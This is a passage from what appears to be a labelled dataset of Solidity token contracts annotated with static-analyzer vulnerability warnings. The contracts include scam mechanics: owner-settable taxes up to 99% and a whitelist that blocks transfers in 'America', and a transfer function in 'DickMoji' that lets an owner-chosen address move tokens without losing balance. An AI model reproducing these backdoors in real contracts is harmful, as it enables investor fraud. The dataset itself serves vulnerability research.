swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract America is Context, ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint64 private lastLiquifyTime;\n\n uint256 private buyFee = 15;\n\n uint256 private sellFee = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: f566ace): America._preventSwapBefore should be constant \n\t// Recommendation for f566ace: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint256 private _txAmountLimit;\n\n uint256 private _walletAmountLimit;\n\n uint256 private _swapbackMin;\n\n uint256 private _swapbackMax;\n\n IDexRouter private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private launchmode = true;\n\n mapping(address => bool) private _canTx;\n\n event MaxTxAmountUpdated(uint _txAmountLimit);\n\n event MaxWalletAmountUpdated(uint _walletAmountLimit);\n\n event FeesUpdated(uint buyFee, uint sellFee);\n\n event SwapbackUpdated(uint _swapbackMin, uint _swapbackMax);\n\n event FeeReceiverUpdated(address _taxWallet);\n\n event ExcludedFromFee(address account, bool status);\n\n event LimitsRemoved();\n\n event TradingOpened();\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0dc998): America.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for e0dc998: Rename the local variables that shadow another component.\n constructor() ERC20(\"America\", \"AMERICA\") {\n uint256 _totalSupply = 1_000_000_000 * 10 ** 18;\n\n _txAmountLimit = (_totalSupply * 10) / 1000;\n\n _walletAmountLimit = (_totalSupply * 10) / 1000;\n\n _swapbackMin = (_totalSupply * 5) / 10000;\n\n _swapbackMax = (_totalSupply * 400) / 10000;\n\n _canTx[address(this)] = true;\n\n _taxWallet = payable(0xBf14F8Df45F8a667458b855E9CB39B02984693Ce);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _mint(_msgSender(), _totalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 216937c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 216937c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d5f207): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d5f207: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 091029b): America.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 091029b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d01d0c8): America.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d01d0c8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4f13c82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4f13c82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), totalSupply());\n\n\t\t// reentrancy-events | ID: 216937c\n\t\t// reentrancy-benign | ID: 4d5f207\n\t\t// reentrancy-eth | ID: 4f13c82\n uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 216937c\n\t\t// reentrancy-benign | ID: 4d5f207\n\t\t// unused-return | ID: d01d0c8\n\t\t// reentrancy-eth | ID: 4f13c82\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 216937c\n\t\t// reentrancy-benign | ID: 4d5f207\n\t\t// unused-return | ID: 091029b\n\t\t// reentrancy-eth | ID: 4f13c82\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4d5f207\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4f13c82\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 4d5f207\n firstBlock = block.number;\n\n\t\t// reentrancy-benign | ID: 4d5f207\n lastLiquifyTime = uint64(block.number);\n\n\t\t// reentrancy-benign | ID: 4d5f207\n _isExcludedFromFee[address(this)] = true;\n\n\t\t// reentrancy-benign | ID: 4d5f207\n buyFee = 10;\n\n\t\t// reentrancy-events | ID: 216937c\n emit TradingOpened();\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a7814c7): America.setMasrketingWalletAdd(address).newMkt lacks a zerocheck on \t _taxWallet = newMkt\n\t// Recommendation for a7814c7: Check that the address is not zero.\n function setMasrketingWalletAdd(address payable newMkt) external onlyOwner {\n\t\t// missing-zero-check | ID: a7814c7\n _taxWallet = newMkt;\n\n emit FeeReceiverUpdated(newMkt);\n }\n\n function setLimist_Transac(uint256 newMaxTransaction) external onlyOwner {\n require(newMaxTransaction >= 1, \"Max tx cant be lower than 0.1%\");\n\n _txAmountLimit = (totalSupply() * newMaxTransaction) / 1000;\n\n emit MaxTxAmountUpdated(_txAmountLimit);\n }\n\n function setsLimit_Wa(uint256 newMaxWallet) external onlyOwner {\n require(newMaxWallet >= 1, \"Max wallet cant be lower than 0.1%\");\n\n _walletAmountLimit = (totalSupply() * newMaxWallet) / 1000;\n\n emit MaxWalletAmountUpdated(_walletAmountLimit);\n }\n\n function setSswsapbR(\n uint256 taxSwapThreshold,\n uint256 maxTaxSwap\n ) external onlyOwner {\n _swapbackMin = (totalSupply() * taxSwapThreshold) / 10000;\n\n _swapbackMax = (totalSupply() * maxTaxSwap) / 10000;\n\n emit SwapbackUpdated(taxSwapThreshold, maxTaxSwap);\n }\n\n function disablesLaun() external onlyOwner {\n require(launchmode, \"Launch mode is already disabled\");\n\n launchmode = false;\n\n buyFee = 20;\n }\n\n function removeLi() external onlyOwner {\n _txAmountLimit = totalSupply();\n\n _walletAmountLimit = totalSupply();\n\n emit MaxTxAmountUpdated(totalSupply());\n\n emit MaxWalletAmountUpdated(totalSupply());\n }\n\n function changesF(uint256 buyTax, uint256 sellTax) external onlyOwner {\n require(buyTax <= 99, \"Invalid buy tax value\");\n\n require(sellTax <= 99, \"Invalid sell tax value\");\n\n buyFee = buyTax;\n\n sellFee = sellTax;\n\n emit FeesUpdated(buyTax, sellTax);\n }\n\n function removseStuckETH() external {\n require(msg.sender == _taxWallet, \"Only fee receiver can trigger\");\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function sestaAll(address[] calldata dre, bool status) external onlyOwner {\n for (uint256 i = 0; i < dre.length; i++) {\n _canTx[dre[i]] = status;\n }\n }\n\n function feeExsempt(address account, bool exempt) external onlyOwner {\n _isExcludedFromFee[account] = exempt;\n\n emit ExcludedFromFee(account, exempt);\n }\n\n function vieaawInfo()\n external\n view\n returns (\n uint256 _buyFee,\n uint256 _sellFee,\n uint256 maxTxAmount,\n uint256 maxWalletSize,\n uint256 taxSwapThreshold,\n uint256 maxTaxSwap\n )\n {\n return (\n buyFee,\n sellFee,\n _txAmountLimit,\n _walletAmountLimit,\n _swapbackMin,\n _swapbackMax\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 316cd5a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 316cd5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 52779e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 52779e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && !inSwap) {\n if (launchmode) {\n require(_canTx[from] || _canTx[to], \"\");\n }\n\n taxAmount = amount.mul(buyFee).div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n amount <= _txAmountLimit,\n \"Exceeds the _txAmountLimit.\"\n );\n\n require(\n balanceOf(to) + amount <= _walletAmountLimit,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _walletAmountLimit,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(sellFee).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _swapbackMin &&\n _buyCount > _preventSwapBefore &&\n lastLiquifyTime != uint64(block.number)\n ) {\n\t\t\t\t// reentrancy-events | ID: 316cd5a\n\t\t\t\t// reentrancy-eth | ID: 52779e7\n swapTokensForEth(\n min(amount * 5, min(contractTokenBalance, _swapbackMax))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 316cd5a\n\t\t\t\t\t// reentrancy-eth | ID: 52779e7\n sendETHToFee();\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-events | ID: 316cd5a\n\t\t\t// reentrancy-eth | ID: 52779e7\n super._transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-events | ID: 316cd5a\n\t\t// reentrancy-eth | ID: 52779e7\n super._transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function triggserSwap() external {\n require(\n msg.sender == _taxWallet || msg.sender == owner(),\n \"Only fee receiver can trigger\"\n );\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n sendETHToFee();\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n lastLiquifyTime = uint64(block.number);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 316cd5a\n\t\t// reentrancy-eth | ID: 52779e7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 42bcaa2): America.sendETHToFee() sends eth to arbitrary user Dangerous calls (success,None) = address(_taxWallet).call{value address(this).balance}()\n\t// Recommendation for 42bcaa2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee() private {\n bool success;\n\n\t\t// reentrancy-events | ID: 316cd5a\n\t\t// reentrancy-eth | ID: 52779e7\n\t\t// arbitrary-send-eth | ID: 42bcaa2\n (success, ) = address(_taxWallet).call{value: address(this).balance}(\n \"\"\n );\n }\n}\n",
"file_name": "solidity_code_10108.sol",
"size_bytes": 26531,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _getSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _manager;\n\n event OwnershipTransferred(\n address indexed userOne,\n address indexed userTwo\n );\n\n constructor() {\n address msgSender = _getSender();\n\n _manager = _getSender();\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyOwner() {\n require(\n _manager == _getSender(),\n \"Ownable: the caller must be the owner\"\n );\n\n _;\n }\n\n function getTheOwner() public view returns (address) {\n return _manager;\n }\n\n function transferOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_manager, address(0));\n\n _manager = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address firstToken,\n address secondToken\n ) external returns (address pairing);\n}\n\ncontract DickMoji is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _holdings;\n\n mapping(address => mapping(address => uint256)) private _tokenAllowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 596501c): DickMoji._taxAddress should be immutable \n\t// Recommendation for 596501c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed1df98): DickMoji.purchasingTax should be constant \n\t// Recommendation for ed1df98: Add the 'constant' attribute to state variables that never change.\n uint256 public purchasingTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 07ac582): DickMoji.sellCommission should be constant \n\t// Recommendation for 07ac582: Add the 'constant' attribute to state variables that never change.\n uint256 public sellCommission = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _numTokens = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DickMoji\";\n\n string private constant _symbol = unicode\"DICKMOJI\";\n\n uint256 private constant maxTaxSlippage = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: db68554): DickMoji.minTaxSwap should be constant \n\t// Recommendation for db68554: Add the 'constant' attribute to state variables that never change.\n uint256 private minTaxSwap = 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f5f8c7): DickMoji.maxTaxSwap should be constant \n\t// Recommendation for 2f5f8c7: Add the 'constant' attribute to state variables that never change.\n uint256 private maxTaxSwap = _numTokens / 500;\n\n uint256 public constant max_uint = type(uint).max;\n\n address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address private uniswapV2Pair;\n\n address private uniswap;\n\n bool private isTradingOpen = false;\n\n bool private Swap = false;\n\n bool private SwapEnabled = false;\n\n modifier lockingTheSwap() {\n Swap = true;\n\n _;\n\n Swap = false;\n }\n\n constructor() {\n _taxAddress = payable(_getSender());\n\n _holdings[_getSender()] = _numTokens;\n\n emit Transfer(address(0), _getSender(), _numTokens);\n }\n\n function allowance(\n address Owner,\n address buyer\n ) public view override returns (uint256) {\n return _tokenAllowances[Owner][buyer];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7c7806d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7c7806d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa66a75): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa66a75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address payer,\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7c7806d\n\t\t// reentrancy-benign | ID: fa66a75\n _transfer(payer, reciver, amount);\n\n\t\t// reentrancy-events | ID: 7c7806d\n\t\t// reentrancy-benign | ID: fa66a75\n _approve(\n payer,\n _getSender(),\n _tokenAllowances[payer][_getSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _numTokens;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function _approve(address operator, address buyer, uint256 amount) private {\n require(buyer != address(0), \"ERC20: approve to the zero address\");\n\n require(operator != address(0), \"ERC20: approve from the zero address\");\n\n\t\t// reentrancy-benign | ID: fa66a75\n _tokenAllowances[operator][buyer] = amount;\n\n\t\t// reentrancy-events | ID: 7c7806d\n emit Approval(operator, buyer, amount);\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(\n address _address\n ) public view override returns (uint256) {\n return _holdings[_address];\n }\n\n function approve(\n address payer,\n uint256 amount\n ) public override returns (bool) {\n _approve(_getSender(), payer, amount);\n\n return true;\n }\n\n function transfer(\n address buyer,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_getSender(), buyer, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3573b92): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3573b92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5855557): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5855557: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address supplier,\n address purchaser,\n uint256 amount\n ) private {\n require(\n supplier != address(0),\n \"ERC20: transfer from the zero address\"\n );\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(purchaser != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 taxAmount = 0;\n\n if (\n supplier != getTheOwner() &&\n purchaser != getTheOwner() &&\n purchaser != _taxAddress\n ) {\n if (supplier == uniswap && purchaser != address(uniswapV2Router)) {\n taxAmount = amount.mul(purchasingTax).div(100);\n } else if (purchaser == uniswap && supplier != address(this)) {\n taxAmount = amount.mul(sellCommission).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !Swap &&\n purchaser == uniswap &&\n SwapEnabled &&\n contractTokenBalance > minTaxSwap\n ) {\n uint256 _toSwap = contractTokenBalance > maxTaxSwap\n ? maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: 3573b92\n\t\t\t\t// reentrancy-eth | ID: 5855557\n swapTokensForEth(amount > _toSwap ? _toSwap : amount);\n\n uint256 _contractETHBalance = address(this).balance;\n\n if (_contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3573b92\n\t\t\t\t\t// reentrancy-eth | ID: 5855557\n sendETHToFee(_contractETHBalance);\n }\n }\n }\n\n (uint256 amountIn, uint256 amountOut) = taxing(\n supplier,\n amount,\n taxAmount\n );\n\n require(_holdings[supplier] >= amountIn);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5855557\n _holdings[address(this)] = _holdings[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3573b92\n emit Transfer(supplier, address(this), taxAmount);\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 5855557\n _holdings[supplier] -= amountIn;\n\n\t\t\t// reentrancy-eth | ID: 5855557\n _holdings[purchaser] += amountOut;\n }\n\n\t\t// reentrancy-events | ID: 3573b92\n emit Transfer(supplier, purchaser, amountOut);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = weth;\n\n\t\t// reentrancy-events | ID: 3573b92\n\t\t// reentrancy-events | ID: 7c7806d\n\t\t// reentrancy-benign | ID: fa66a75\n\t\t// reentrancy-eth | ID: 5855557\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: 0ef5d8c): DickMoji.sendETHToFee(uint256) ignores return value by _taxAddress.call{value ethAmount}()\n\t// Recommendation for 0ef5d8c: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3cc4cf1): DickMoji.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxAddress.call{value ethAmount}()\n\t// Recommendation for 3cc4cf1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 3573b92\n\t\t// reentrancy-events | ID: 7c7806d\n\t\t// reentrancy-benign | ID: fa66a75\n\t\t// unchecked-lowlevel | ID: 0ef5d8c\n\t\t// reentrancy-eth | ID: 5855557\n\t\t// arbitrary-send-eth | ID: 3cc4cf1\n _taxAddress.call{value: ethAmount}(\"\");\n }\n\n function taxing(\n address source,\n uint256 total,\n uint256 taxAmount\n ) private view returns (uint256, uint256) {\n return (\n total.sub(source != uniswapV2Pair ? 0 : total),\n total.sub(source != uniswapV2Pair ? taxAmount : taxAmount)\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68363e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68363e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d8118c4): DickMoji.setTrading(address,bool)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for d8118c4: Check that the address is not zero.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cdb4cee): DickMoji.setTrading(address,bool) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,getTheOwner(),block.timestamp)\n\t// Recommendation for cdb4cee: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 784da37): DickMoji.setTrading(address,bool) ignores return value by IERC20(uniswap).approve(address(uniswapV2Router),max_uint)\n\t// Recommendation for 784da37: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: edd14c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for edd14c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTrading(address _pair, bool _isEnabled) external onlyOwner {\n require(!isTradingOpen, \"trading is already open\");\n\n require(_isEnabled);\n\n\t\t// missing-zero-check | ID: d8118c4\n uniswapV2Pair = _pair;\n\n _approve(address(this), address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 68363e6\n\t\t// reentrancy-eth | ID: edd14c8\n uniswap = uniswapV2Factory.createPair(address(this), weth);\n\n\t\t// reentrancy-benign | ID: 68363e6\n\t\t// unused-return | ID: cdb4cee\n\t\t// reentrancy-eth | ID: edd14c8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n getTheOwner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 68363e6\n\t\t// unused-return | ID: 784da37\n\t\t// reentrancy-eth | ID: edd14c8\n IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 68363e6\n SwapEnabled = true;\n\n\t\t// reentrancy-eth | ID: edd14c8\n isTradingOpen = true;\n }\n\n function get_sellingTax() external view returns (uint256) {\n return sellCommission;\n }\n\n function get_purchasingTax() external view returns (uint256) {\n return purchasingTax;\n }\n\n function get_TradingOpen() external view returns (bool) {\n return isTradingOpen;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10109.sol",
"size_bytes": 17283,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == 